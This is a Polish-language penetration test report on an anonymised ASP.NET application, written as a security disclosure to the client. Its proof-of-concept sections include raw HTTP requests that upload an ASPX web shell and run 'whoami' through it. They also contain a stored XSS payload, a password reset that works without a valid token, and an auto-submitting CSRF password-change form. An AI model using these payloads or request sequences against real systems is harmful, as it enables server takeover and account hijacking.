Raport z Testów Penetracyjnych XXXXX
|
|
|
- Adam Jacek Urbaniak
- 5 lat temu
- Przeglądów:
Transkrypt
1 Raport z Testów Penetracyjnych XXXXX Strona 1 z 35
2 Testowana aplikacja Testowane role XXXXXX administrator, użytkownik Data wykonania testów Miejsce wykonania testów Zleceniodawca Tester i autor raportu Wrocław (zdalnie) XXXX XXXX@XXXXX.com Wersja dokumentu 1.0 ( ) Michał Kędzior michal.kedzior1478@gmail.com Niniejszy dokument jest podsumowaniem testu penetracyjnego wykonanego na aplikacji XXXXX na zlecenie XXXXX. W aplikacji wykryto podatności pozwalające między innymi na: Przejęcie kontroli nad serwerem; Przejęcie kontroli nad dowolnym kontem użytkownika; Odczyt wrażliwych danych użytkowników; Wykorzystanie aplikacji do przeprowadzania ataków phishingowych; Wymagane jest dokonanie odpowiednich poprawek bezpieczeństwa, które powinny zostać zaimplementowane przez programistów. Szczegółowe zalecenia wraz z opisem wykrytych podatności znajdują się w dalszej części dokumentu. Strona 2 z 35
3 Poniżej przedstawiona została tabela z wykrytymi podatnościami Zagrożenie Podatność Opis KRYTYCZNE KRYTYCZNE WYSOKIE WYSOKIE ŚREDNIE ŚREDNIE ŚREDNIE ŚREDNIE ŚREDNIE NISKIE NISKIE NISKIE Przesyłanie dowolnego pliku na serwer Stored Cross-Site Scripting Niezabezpieczony mechanizm resetu hasła Brak ochrony przed CSRF Aplikacja pozwala na przesyłanie dowolnego pliku na serwer. Atak pozwalający na wstrzyknięciu i wykonaniu wrogiego kodu HTML, JavaScript w kontekście podatnej aplikacji. Kod zostaje na stałe umieszczony w aplikacji. Aplikacja umożliwia zmianę hasła dowolnego użytkownika bez uwierzytelnienia. Aplikacja jest podatna na ataki polegające na nieświadomym przesłaniu przez zalogowanego użytkownika prawidłowego zapytania do aplikacji za pośrednictwem spreparowanej do tego celu strony lub adresu URL. Niewalidowane przekierowania Niewalidowane przekierowania występują gdy dane wprowadzone przez użytkownika mają wpływ na to na jaką domenę zostanie przekierowany użytkownik przez podatną aplikację. Przesyłanie danych nieszyfrowanym protokołem Szczegółowe informacje o błędzie Dane aplikacji przesyłane są nieszyfrowanym protokołem HTTP. Aplikacja/serwer wyświetla szczegółowe informacje o błędzie użytkownikom aplikacji. Mogą one zawierać wrażliwe dane jak ścieżki systemowe czy informacje o konfiguracji środowiska i aplikacji. Ujawnienie poufnych informacji Aplikacja ujawnia dane, które nie powinny być widoczne dla normalnego użytkownika aplikacji. Brak ochrony przed Cross- Frame Scripting Brak nagłówka X-Content- Type-Options=nosniff Brak nagłówka X-XSS- Protection: 1; mode=block Problemy z certyfikatem SSL Aplikacja zawiera podatność która pozwala atakującemu na załadowanie jej wewnątrz znacznika <iframe> (ramki). Atakujący może wykorzystać tą lukę do przeprowadzania szeregu różnych ataków typu: Clickjacking, Reverse Clickjacking, CSRF oraz XSS (ukrywanie ataku przed ofiarą). W odpowiedzi serwera nie ma nagłówka HTTP "X-Content-Type- Options" z ustawioną wartością nosniff. W odpowiedzi serwera nie ustawiono nagłówka X-XSS-Protection. Użycie protokołów szyfrowania ze znanymi podatnościami umożliwia atakującemu na odszyfrowanie komunikacji pomiędzy serwerem a użytkownikiem. Strona 3 z 35
4 Statystyki wykrytych podatności prezentują się następująco Podatności Krytyczne Wysokie Średnie Niskie Strona 4 z 35
5 Poniżej znajduje się szczegółowy opis znalezionych podatności ZAGROŻENIA KRYTYCZNE 1.1 Przesyłanie dowolnego pliku na serwer Opis Przesyłanie dowolnego pliku na serwer występuje, gdy aplikacja nie weryfikuje jaki plik zostaje przesyłany lub aplikacja robi to w niewłaściwy sposób. Używając tej podatności osoba atakująca może przesłać plik skryptowy, dzięki któremu będzie mogła wykonywać polecenia systemowe na serwerze aplikacji Rekomendacje naprawy Aplikacja musi weryfikować sygnatury i rozszerzenia przesyłanych plików Dodatkowe informacje Dowody CWE OWASP Na serwerze pod adresem serwer/content/roxy_fileman/ znajduje przeglądarka plików umożliwiająca zalogowanym użytkownikom z odpowiednimi uprawnieniami (przetestowane konto administratora) także ich upload (w tym skryptów wykonujących komendy na systemie): Strona 5 z 35
6 Żądanie: POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D A06AC B8B9BA31C4D1CC499E8CDBC37ABF8359B4CF0FEE4BA2CD30 36C889DF12505AC4E9EAE882307E604ED73E919F5FD6927FDA5372EA98F8 D6C17A6C792D4474D67604EEE93935B7F0D4144D47AA08F325E7C78CB45D 03B8FEA80E1B272D0C9E8E85DBF8AF5BBBE0C032391B4E543E8D20CA2550 E7B1D995421BB8118B05B9B7A31413F77CE18EB5F82494B50E8C4CB071E0 5BC3D0BC272BFB A9FA75ED4D9529A500AA DF252820CA 3B8579A8EB8FDC0752A1C9D61D84E095B93064B C0FD39C060 FD1691 Connection: close Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary= Content-Length: Content-Disposition: form-data; name="action" upload Content-Disposition: form-data; name="d" Content-Disposition: form-data; name="files[]"; filename="cmdasp.aspx" Content-Type: application/octet-stream Page Language="C#" Debug="true" Trace="false" %> Import Namespace="System.Diagnostics" %> Import Namespace="System.IO" %> <script Language="c#" runat="server"> void Page_Load(object sender, EventArgs e) [ ] Strona 6 z 35 Odpowiedź: POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 HTTP/ OK Cache-Control: private
7 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.1 X-AspNet-Version: Set-Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; expires=fri, 09-Nov :53:07 GMT; path=/; HttpOnly X-Powered-By: ASP.NET Date: Thu, 09 Nov :53:07 GMT Connection: close Content-Length: 60 <script>parent.fileuploaded({"res":"ok","msg":""});</script> Do wgranego zasobu można odwołać się bez autoryzacji pod adresem serwer/media/uploaded/nazwapliku : Żądanie: POST /media/uploaded/cmdasp.aspx HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D A06AC B8B9BA31C4D1CC499E8CDBC37ABF8359B4CF0FEE4BA2CD30 36C889DF12505AC4E9EAE882307E604ED73E919F5FD6927FDA5372EA98F8 D6C17A6C792D4474D67604EEE93935B7F0D4144D47AA08F325E7C78CB45D 03B8FEA80E1B272D0C9E8E85DBF8AF5BBBE0C032391B4E543E8D20CA2550 E7B1D995421BB8118B05B9B7A31413F77CE18EB5F82494B50E8C4CB071E0 5BC3D0BC272BFB A9FA75ED4D9529A500AA DF252820CA 3B8579A8EB8FDC0752A1C9D61D84E095B93064B C0FD39C060 FD1691 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 290 VIEWSTATE=%2FwEPDwULLTE2MjA0MDg4ODhkZIRU3lC9Xa6Tso4RuNRS73 48SaODHjfzJTrqO%2BzMDUJk& VIEWSTATEGENERATOR=FACD72F6& EVE NTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9 duwcnk2jdumxrvktmbusvskgfelwwmgngw8lr4a8nezi%2fkhrisb%2flody xppo9ud%2fbhu4w%3d%3d&txtarg=whoami&testing=excute Strona 7 z 35
8 Odpowiedź: Mechanizm umożliwiający upload plików zidentyfikowano pod poniższymi adresami: /Admin/Invoice/InvoiceEdit /Admin/Invoice/InvoiceItemList /Admin/Newsletter/GroupSubscriptionsList /Admin/Newsletter/SubscriptionList /Content/Roxy_Fileman/index.html 1.2 Stored Cross-Site Scripting Opis Strona 8 z 35 Atak pozwalający na wstrzyknięcie i wykonanie wrogiego kodu HTML, JavaScript. Może zostać wykorzystane to do kradzieży krytycznych danych (sesji) z plików cookie, jako że kod zostaje wykonany w kontekście podatnej aplikacji lub umożliwić wykonanie innych ataków jak phishing, logowanie klawiatury czy przekierowanie użytkownika na złośliwą stronę. Wstrzyknięty kod zostaje na stałe umieszczony w aplikacji przez co jest bardziej niebezpieczny od Reflected Cross-Site Scripting Rekomendacje naprawy Należy sprawdzać dane wejściowe oraz wyjściowe za niepoprawnymi znakami. Znaki te powinny zostać usunięte lub poprawnie zamienione na zakodowane odpowiedniki.
9 1.2.3 Dodatkowe informacje Dowody CWE-79 OWASP Żądanie: POST /Admin/Reservation/AdditionalOptionEdit?AdditionalOptionId=1 1&additionalOptions-grid-size=50 HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: aloptionid=11&additionaloptions-grid-size=50 Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; selectedtabindex=%7b%22tabstripname%22%3a%22floor-edittabstrip%22%2c%22tabindex%22%3a1%7d; ASP.NET_SessionId=jb4ivjlf5sjkdy3x0xaab3wi; XXXXX=3F0D289C1C17BFD415F206F7BF354B072DA7159EC7FD809F12E5C9 AC84657D514AD89881ECDAE9242D673FC42AC4FF2FEC53DC0A9F99E7FFEA 8DD8AB44A97F13DFB0DD9764A08F65E3E022DDC3119AFCBC9A7DE93A05AF BFBA29A0E75AB4116ED9CAD95C04038B4D3E9C731B6B0A92FE4F85D4E7A0 E330CC030041ED7F45D5128E8F29E1EDEF80D63BEB946FB67AC73F255D6D 5CDAEFB64B8371A6F3E6D471ADB23B0D9271EA28240D704B33771B0F2570 BD01FE4BBA00B39EE3391B7F5E4D6D8599CDF299BB03A21397FFC92A AB EA9886CEBBFC3AAA4E8220F2279E22F0B C0E77D B9C21B Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1000 [ ] koszt+us%c5%82ugi.%3c%2fp%3e%0d%0a%3cscript%3e%2f%2f+%3c%21% 5BCDATA%5B%0D%0Aalert%28document.domain%29%0D%0A%2F%2F+%5D%5 D%3E%3C%2Fscript%3E&Price=200%2C00000 [ ] Strona 9 z 35
10 Wykonanie złośliwego kodu po stronie klienta: Strona 10 z 35
11 Złośliwy kod wykonuje się także po wejściu w podgląd edytora: Strona 11 z 35
12 Pod następującymi adresami zidentyfikowano ten sam błąd: POST /Admin/MessageTemplate/Edit/44 POST /Admin/MarketingChannel/MarketingChannelEdit?MarketingChannelId =26&universities-grid-size=50 POST /Admin/Campaign/Create POST /Admin/DocumentTemplate/DocumentTemplateCreate POST /Admin/Reservation/AdditionalOptionEdit?AdditionalOptionId=11&a dditionaloptions-grid-size=50 Strona 12 z 35
13 ZAGROŻENIA WYSOKIE 2.1 Niezabezpieczony mechanizm resetu hasła Opis Funkcja zmiany i resetowania hasła aplikacji to samoobsługowy mechanizm zmiany lub resetowania hasła dla użytkowników bez interwencji administratora. W przypadku jego słabego zabezpieczenia pozwala atakującemu na zmianę hasła dowolnego użytkownika a tym samym przejęcie jego konta Rekomendacje naprawy Należy zabezpieczyć mechanizm resetowania hasła przed nieuprawnioną jego zmianą np. poprzez wykorzystanie jednorazowych tokenów autoryzujących wysyłanych na maila Dodatkowe informacje OWASP set_functionalities_(otg-authn-009) Dowody Serwer nie wyryfikuje tokenu autoryzującego zmianę hasła. Znając użytkownika można zmienić jego hasło: Strona 13 z 35 Żądanie: POST /pl/passwordrecovery/confirm?token=aaa& =michke1478%40gm ail.com HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8 Accept-Language: en-us,en;q=0. Accept-Encoding: gzip, deflate Referer: Cookie: XXXXX=083e8ddf-7bc0-4f34-a0e ; selectedtabindex=%7b%22tabstripname%22%3a%22customer-edittabstrip%22%2c%22tabindex%22%3a0%7d; ASP.NET_SessionId=m4fvihth1o51agg5vj2c52fd; XXXXX=709B6A26C22F1D766DA276F57DF7057C7BF67948D2A0F8091B9CDE 50D5692C7A95B112E11CCED1A BDAF2A69D075E00D6CAD73A1678A D72528D164F1A22E3BDE E02CA36E92169FF88A65AEFDCAA4A56 C8074D07BE98E0758D9A023EEF9DC13119F38F80B829FC30EE5FED9C5A3A
14 C86F003C6CFDA422E6DF92700D776EB6668F14AC9EE371BFD81C4C8891DF 26B1D89F13228CBEFBF0D51CF654FBD30B79E FD9995D13B E363BA9A306B21F89E2B8B3D591ECF C35A3074D275509F1FF25 04 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 NewPassword=qwerty1234&ConfirmNewPassword=qwerty1234&setpassword=Zapisz Odpowiedź: HTTP/ OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 Set-Cookie: XXXXX=083e8ddf-7bc0-4f34-a0e ; expires=mon, 10-Dec :51:52 GMT; path=/; HttpOnly X-AspNetMvc-Version: 5.1 X-AspNet-Version: X-Powered-By: ASP.NET Date: Sun, 10 Dec :51:52 GMT Connection: close Content-Length: 490 <div class="signin-signup-container container"> <div class="row"> <div class="col-lg-6 col-sm-6 col-xs-12 col-smoffset-3 col-lg-offset-3"> <h2 class="col-title"> Odzyskiwanie haså a </h2> <div class="signin-container"> <div class="result"> HasÅ o zostaå o zmienione </div> </div> </div> </div> </div> Próba logowania potwierdziła zmianę hasła: POST /pl/login HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Strona 14 z 35
15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Cookie: XXXXX=b3f631e2-6c0c-413b-8560-d65ee4acc4c7; selectedtabindex=%7b%22tabstripname%22%3a%22customer-edittabstrip%22%2c%22tabindex%22%3a0%7d; ASP.NET_SessionId=m4fvihth1o51agg5vj2c52fd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 48 =michke1478%40gmail.com&Password=qwerty1234 Odpowiedź: HTTP/ Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: /pl/account Server: Microsoft-IIS/10.0 Set-Cookie: XXXXX=b3f631e2-6c0c-413b-8560-d65ee4acc4c7; expires=mon, 10-Dec :54:09 GMT; path=/; HttpOnly X-AspNetMvc-Version: 5.1 X-AspNet-Version: Set-Cookie: XXXXX=FAD46E9673A6C28967C6BBF23BD78374EE1FA951CC712F612E7E0B E2FC1D2A6C83F8DDAC3AD243FA471BA516FEA24E6B324B1B2411D898F546 62CDE1B79FBB6BA4F8A74AACC3F495D6FCD61D6AA8561D107FA194CE46E2 2B3AAB349375CA67F7B9FFC67FEBB7D DBE98D44FEF E9 EC61F86548EB3DF33C90B72312A3E469CC81D71E1F91F4EE84A0851EC8CC E5A1CB07FB78963B228129F78A82750C16BD074536C5E0E2AC745AA6F C79A8723B1F5D50AE3E892B041EC93C3E8C FF0B2437ED5F 0F; path=/; HttpOnly X-Powered-By: ASP.NET Date: Sun, 10 Dec :54:09 GMT Connection: close Content-Length: 128 <html><head><title>object moved</title></head><body> <h2>object moved to <a href="/pl/account">here</a>.</h2> </body></html> Strona 15 z 35
16 2.2 Brak ochrony przed CSRF Opis CSRF jest skrótem od ataku zwanego Cross-Site Request Forgery (nazywany również Session Riding). Aplikacja jest podatna na ataki polegające na nieświadomym przesłaniu przez zalogowanego użytkownika prawidłowego zapytania do aplikacji za pośrednictwem spreparowanej do tego celu strony lub adresu URL Rekomendacje naprawy Strona 16 z 35 Wszystkie zapytania do formularza w aplikacji powinny zostać weryfikowane poprzez dodatkowy unikalny parametr. Pozwoli to na zabezpieczenie aplikacji przed wprowadzeniem do aplikacji danych z niezaufanego źródła Dodatkowe informacje CWE-352
17 OWASP Dowód Przykładowe użycie podatności - po wejściu przez zalogowanego użytkownika na poniższą podstawioną stronę, zostanie w jego imieniu wykonany Żądanie zmieniający hasło: <html> <!-- CSRF PoC --> <body> <script>history.pushstate('', '', '/')</script> <form action=" method="post" enctype="multipart/form-data"> <input type="hidden" name="id" value="22" /> [ ] <input type="hidden" name="password" value="csrf;" /> <input type="hidden" name="newpassword" value="csrf" /> [ ] <input type="submit" value="submit Request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> Strona 17 z 35 Wywołane żądanie: Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; selectedtabindex=%7b%22tabstripname%22%3a%22customer-edittabstrip%22%2c%22tabindex%22%3a0%7d; ASP.NET_SessionId=m4fvihth1o51agg5vj2c52fd; XXXXX=3C4F9413A31F4E71F8E2123D1B19AE8F6FB52DA8DE1F8DAD9F08B1 935A085630DACB065B3541F48ED4F47E48EFB2B0A7F5F74E43F25C5BF110 D6486D6AB12D60316D08CDB983ACAA3A CB7A8062F20E62D457E
18 79C8AAFE8EC A532ABC70E60E4C0935DB4D0B24C7C9BA5EC862D35 4ED7DA12284F16BA622512FB6E03327B4F6536E756085BB15B9C42E6A71A 13CCA3E7CF792DE00DD3E2187F272A9BF1DCC317AC0C01A406135C730BFF 95B54C2BE2B1A9C6AAD5271D6EFD8C77D85E596CD2D3886ADE9A71583DE9 FC8DB0AE731E65477E6ACE47C17F15B2B131F049466F6FBA192995C92B CE; ŻądanieVerificationToken=yBZLfS03pb5EQkgDDYONon2il1ZBmPuww 0yuWP3N97IKz8YAu5e238zWLl604CRyqRQqbnB0xZuM8c7kaxPzccoKgwCDI BQnW68TfGOyRTU1 Connection: close Content-Type: multipart/form-data; boundary= Content-Length: Content-Disposition: form-data; name="id" [ ] Content-Disposition: form-data; name="password" csrf Content-Disposition: form-data; name="newpassword" csrf [ ] Strona 18 z 35
19 Odpowiedź Jest to jedynie przykładowe użycie CSRF. Każdy formularz zmieniający wrażliwe dane powinien zostać zabezpieczony poprzez unikalny token autoryzujący akcje conajmniej per sesja. Strona 19 z 35
20 ZAGROŻENIA ŚREDNIE 3.1 Niewalidowane przekierowania Opis Niewalidowane przekierowania występują gdy dane wprowadzone przez użytkownika mają wpływ na to na jaką domenę zostanie przekierowany użytkownik przez podatną aplikację. Podatność ta może zostać wykorzystana do przekierowania użytkowników na złośliwe strone kradnące informacje lub wykorzystujące podatności w przeglądarkach Rekomendacje naprawy Aplikacja nie powinna pozwalać na przekierowania do innej domeny. Jeżeli jest to wymagane, należy użyć metody white-listingu aby sprecyzować dozwolone wartości Dodatkowe informacje CWE OWASP at_sheet Dowody Po wejściu przez użytkownika na link o adresie: serwer/admin/building/roomedit?roomid=11&returnurl= Pod przycisk return zostanie podstawiona złośliwa strona: HTTP/ OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 Set-Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; expires=mon, 10-Dec :52:31 GMT; path=/; HttpOnly X-AspNetMvc-Version: 5.1 X-AspNet-Version: X-Powered-By: ASP.NET Date: Sun, 10 Dec :52:31 GMT Connection: close Content-Length: Strona 20 z 35
21 <!DOCTYPE html> <html> <head> [ ] <div class="title"> </div> Edycja Pokoju: A101 <div class="actions"> <a id="back-btn" href=" class="g-button"><span class="g-buttoncontent">powrã³t</span></a> <input type="submit" name="save-continue" class="g-button" value="zapisz" /> [ ] Strona 21 z 35
22 Po kliknięciu w niego użytkownik zostanie przekierowany na złośliwą stronę: 3.2 Przesyłanie danych nieszyfrowanym protokołem Opis Komunikacja z serwerem odbywa się z użyciem protokołu HTTP, który nie jest szyfrowany. Wszystkie dane przesyłane takim kanałem mogą zostać przechwycone i zmodyfikowane podczas transmisji Rekomendacje naprawy Dane aplikacji powinny być przesyłane protokołem szyfrowanym HTTPS Dodatkowe informacje CWE OWASP Strona 22 z 35
23 an_encrypted_channel_(owasp-at-001) Dowody 3.3 Szczegółowe informacje o błędzie Opis Strona 23 z 35 Podczas testów zauważono, że wykonanie niestandardowych zapytań do serwera zwraca szczegółowe informacje o błędzie. Takie błędy zawierają dane techniczne, klasy, metody, które wywołały błąd, dokładną wersję serwera czy ścieżki systemowe aplikacji i plików konfiguracyjnych. Takie informacje mogą być pomocne przy wykonywaniu innych ataków na serwer/aplikację. Szczegółowe dane o błędzie powinny być widoczne jedynie dla deweloperów oraz
24 administratorów systemu i nie powinny być nigdy widoczne dla zwykłych użytkowników aplikacji Rekomendacje naprawy Szczegółowe informacje o błędzie nie powinny być wyświetlane zwykłym użytkownikom strony. Należy stworzyć własną stronę błędu, która jedynie informuje o wystąpieniu błędu i nie ujawnia wrażliwych danych. Taka strona powinna być wyświetlana za każdym razem gdy wystąpi błąd niezależnie od tego jaka akcja go wywołała Dodatkowe informacje Dowody OWASP CWE CWE-200: Information Exposure Żądanie: GET /Admin/RoxyFileman/ProcessRequest?a=FILESLIST&d=/media/uploa ded&type= HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D A06AC B8B9BA31C4D1CC499E8CDBC37ABF8359B4CF0FEE4BA2CD30 36C889DF12505AC4E9EAE882307E604ED73E919F5FD6927FDA5372EA98F8 D6C17A6C792D4474D67604EEE93935B7F0D4144D47AA08F325E7C78CB45D 03B8FEA80E1B272D0C9E8E85DBF8AF5BBBE0C032391B4E543E8D20CA2550 E7B1D995421BB8118B05B9B7A31413F77CE18EB5F82494B50E8C4CB071E0 5BC3D0BC272BFB A9FA75ED4D9529A500AA DF252820CA 3B8579A8EB8FDC0752A1C9D61D84E095B93064B C0FD39C060 FD1691 Connection: close Strona 24 z 35
25 Odpowiedź: Żądanie: GET /Admin/Building/FloorSelectList?_= HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 X-Requested-With: XMLHttpRequest Referer: =&reservationto= Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; XXXXX=91B B57EAA267360A7DD813F07BBC8BC4A7583F9D BE844E4EE C43596ACABE77AD5611B13D4408A1A5D86E7 A67D6A4D0835A4F263CF2B8FD6721AEB6A867D2A62C71F3A2E A5 9F56305E973F5B F6FD296913FB F29BE9347BA65E CDF674D00D97AB605BAAF6C8EF246B9378A4CF9A5FE1075EC91358D95A5B 05B6EBB F935C095681A33BF250DC637082E555BA506A166F1CDF A0C0F58EDC7928D2B4AD64A86447B2DC6695FB76E9E94BA398CA7AB3448F FA0276FEAA2CAF0B78068BEEEC0B84D5C02040AF6187C9DEE3EF2FD5B096 19EFCF; selectedtabindex=%7b%22tabstripname%22%3a%22customer-edittabstrip%22%2c%22tabindex%22%3a0%7d; ASP.NET_SessionId=jb4ivjlf5sjkdy3x0xaab3wi Connection: close Strona 25 z 35
26 Odpowiedź: 3.4 Ujawnienie poufnych informacji Opis Podatność ta występuje, gdy wrażliwe dane zostają ujawnione przez aplikację. Klasyfikacja tej podatności zależy od danych, które użytkownik może zobaczyć Rekomendacje naprawy Aplikacja ujawnia dane, które nie powinny być widoczne dla normalnego użytkownika aplikacji Dodatkowe informacje Strona 26 z 35 CWE OWASP
27 3.4.4 Dowody W odpowiedziach serwer ujawnia informacje o użytycj technologiach które mogę być przydatne w dalszych atakach: HTTP/ OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 Set-Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; expires=mon, 10-Dec :52:31 GMT; path=/; HttpOnly X-AspNetMvc-Version: 5.1 X-AspNet-Version: X-Powered-By: ASP.NET Hasło do konta pocztowego nie jest wyświetlane na frontendzie, ale jest ono ujawniane w odpowiedzi serwera: Żądanie POST /Admin/ Account/List? -accounts-grid-size=10 HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: Content-Length: 26 Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; XXXXX=1DA70ECCBA87A020C16937DCF3C D17235B5EB6F9B9994BA 0CFDF277A8A4B153B572D20114FC D61238E6DCC5E3521FDF848 8E90D CB83C02E5B0B33845F7A2C0DD20DCBC7260F9FA250DAD06 381E3E1DB0EF0CE8FC79F6F61E1B498E32BC00C86D AD72A5786 BF2C2043BAB80F EAB B3EC3DB140E A7E3F0E 63D805AE07EF9CAA09ECCAF7B3261ECA2D826368D0884AAA41BD7E8CD346 DD0B734C5231A55ECC60B A23337BC53318C84169F9EFEE473454D CB86502B77947BCA1AF3885DEACDE240B9047CDC1AD5996D3A06CDA35CBB 21E82E; selectedtabindex=%7b%22tabstripname%22%3a%22invoiceedit-tabstrip%22%2c%22tabindex%22%3a1%7d; ASP.NET_SessionId=jb4ivjlf5sjkdy3x0xaab3wi Connection: close Strona 27 z 35 page=1&size=10&searchterm= Odpowiedź HTTP/ OK
28 Cache-Control: private Content-Type: application/json; charset=utf-8 Server: Microsoft-IIS/10.0 Set-Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; expires=tue, 13-Nov :24:14 GMT; path=/; HttpOnly X-AspNetMvc-Version: 5.1 X-AspNet-Version: X-Powered-By: ASP.NET Date: Mon, 13 Nov :24:13 GMT Connection: close Content-Length: 358 tials":false,"isdefault account":true,"sendtest to": null," accountid":0,"id":22,"customproperties":{}}],"tot al":1} Pod przewidywalnym adresem serwer/media/documents/invoices/nazwapliku.pdf znajdują się faktury użytkowników wraz z poufnymi informacjami dostępnymi dla każdego znającego adres: Strona 28 z 35
29 Przewidywalne nazwy pozwalają na odkrycie kolejnych dokumentów: 3.5 Brak ochrony przed Cross-Frame Scripting Opis Strona 29 z 35 XFS jest skrótem od Cross-Frame Scripting. Oznacza on grupę podatności możliwych do wykorzystania w sytuacji, kiedy aplikacja pozwala na osadzenie jej wewnątrz ramki na stronie atakującego. Aplikacja pozwala atakującemu na załadowanie jej wewnątrz znacznika <iframe> (ramki). Atakujący może wykorzystać tą lukę do przeprowadzania szeregu różnych ataków typu: Clickjacking, Reverse Clickjacking, CSRF oraz XSS (ukrywanie ataku przed ofiarą) Rekomendacje naprawy Należy zastosować nagłówek odpowiedzi "X-Frame-Options". Nagłówek X- Frame-Options wskazuje przeglądarce czy ma wyświetlić zawartość strony w ramce (<iframe>) Dodatkowe informacje Dowody CWE OWASP Możliwe jest załadowanie strony w ramkę:
30 Strona 30 z 35
31 ZAGROŻENIA NISKIE 4.1 Brak nagłówka X-Content-Type-Options=nosniff Opis W odpowiedzi serwera nie ma nagłówka HTTP "X-Content-Type-Options" z ustawioną wartością nosniff. Brak tego nagłówka powoduje, że niektóre przeglądarki próbują określić typ zawartości i kodowanie odpowiedzi, nawet jeśli te są poprawnie zdefiniowane. Może to spowodować, że aplikacja internetowa będzie narażona na ataki typu Cross-Site Scripting (XSS). Na przykład. Internet Explorer i Safari traktują odpowiedzi z tekstem typu content / plain jako HTML, jeśli zawierają tagi HTML Rekomendacje naprawy Należy ustawić następujący nagłówek HTTP co najmniej we wszystkich odpowiedziach, które zawierają dane wprowadzone przez użytkownika: X-Content-Type-Options: nosniff Dodatkowe informacje OWASP Brak nagłówka X-XSS-Protection: 1; mode=block Opis W odpowiedzi serwera nie ustawiono nagłówka X-XSS-Protection. Oznacza to, że przeglądarka używa domyślnego zachowania a wykryte przez nią ataki typu cross-site scripting nie zostaną zablokowane Rekomendacje naprawy W odpowiedzi serwera należy ustawić następujący nagłówek: X-XSS-Protection: 1; mode=block Dodatkowe informacje OWASP Strona 31 z 35
32 4.3 Problemy z certyfikatem SSL Opis Atak typu BEAST pozwalaja na rozszyfrowanie danych przesyłanych protokołem TLS w wersji 1.0 (i SSL 3.0). Protokoły te są między innymi składową HTTPS i chronią transmisję danych pomiędzy webserwerem a przeglądarką Rekomendacje naprawy Wyłączyć obsługę TLS w wersji Dodatkowe informacje OWASP ficient_transport_layer_protection_(otg-crypst-001) Dowody Wynik dla 91.XXXXXXX:8172 Strona 32 z 35
